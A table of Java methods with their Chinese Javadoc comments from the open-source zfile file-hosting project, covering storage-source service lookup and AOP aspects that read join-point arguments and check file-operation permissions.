| StorageSourceContext::init | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java | MIT |
private AbstractBaseFileService<IStorageParam> getInitStorageBeanByStorageId(Integer storageId) {
StorageTypeEnum storageTypeEnum = storageSourceService.findStorageTypeById(storageId);
for (AbstractBaseFileService<?> value : storageTypeEnumFileServiceMap.values()) {
if (Objects.equals(value.getStorageTypeEnum(), storageTypeEnum)) {
return SpringUtil.getBean(value.getClass());
}
}
return null;
} |
获取指定存储源初始状态的 Service.
@param storageId
存储源 ID
@return 存储源对应未初始化的 Service
| StorageSourceContext::getInitStorageBeanByStorageId | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java | MIT |
private Integer getStorageId(JoinPoint point) {
AbstractBaseFileService<?> targetService = (AbstractBaseFileService<?>) point.getTarget();
return targetService.getStorageId();
} |
获取存储源 id
@param point
切入点
@return 存储源 id
| FileOperatorExceptionWrapperAspect::getStorageId | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/storage/aspect/FileOperatorExceptionWrapperAspect.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/aspect/FileOperatorExceptionWrapperAspect.java | MIT |
private Object getArg(JoinPoint point, int index) {
Object[] args = point.getArgs();
return ArrayUtil.get(args, index);
} |
获取切入点方法第 n 个参数
@param point
切入点
@param index
参数索引
@return 参数值
| FileOperatorExceptionWrapperAspect::getArg | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/storage/aspect/FileOperatorExceptionWrapperAspect.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/aspect/FileOperatorExceptionWrapperAspect.java | MIT |
private Object check(ProceedingJoinPoint point, FileOperatorTypeEnum fileOperatorType) throws Throwable {
// 获取对应的存储源 service
AbstractBaseFileService<?> targetService = (AbstractBaseFileService<?>) point.getTarget();
Integer storageId = targetService.storageId;
// 判断是否允许文件操作. 如果不允许, 则抛出异常
StorageSource storageSource = storageSourceService.findById(storageId);
boolean allowOperator = storageSource.getAllowOperator();
if (BooleanUtil.isFalse(allowOperator)) {
throw new StorageSourceException(CodeMsg.STORAGE_SOURCE_ILLEGAL_OPERATION, storageId, "非法进行无权限的操作:" + fileOperatorType.getName());
}
return point.proceed();
} |
校验是否有此文件操作的权限
@param point
连接点
@param fileOperatorType
文件操作类型
@return 方法运行结果
| FileOperatorCheckAspect::check | java | zfile-dev/zfile | src/main/java/im/zhaojun/zfile/module/storage/aspect/FileOperatorCheckAspect.java | https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/aspect/FileOperatorCheckAspect.java | MIT |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.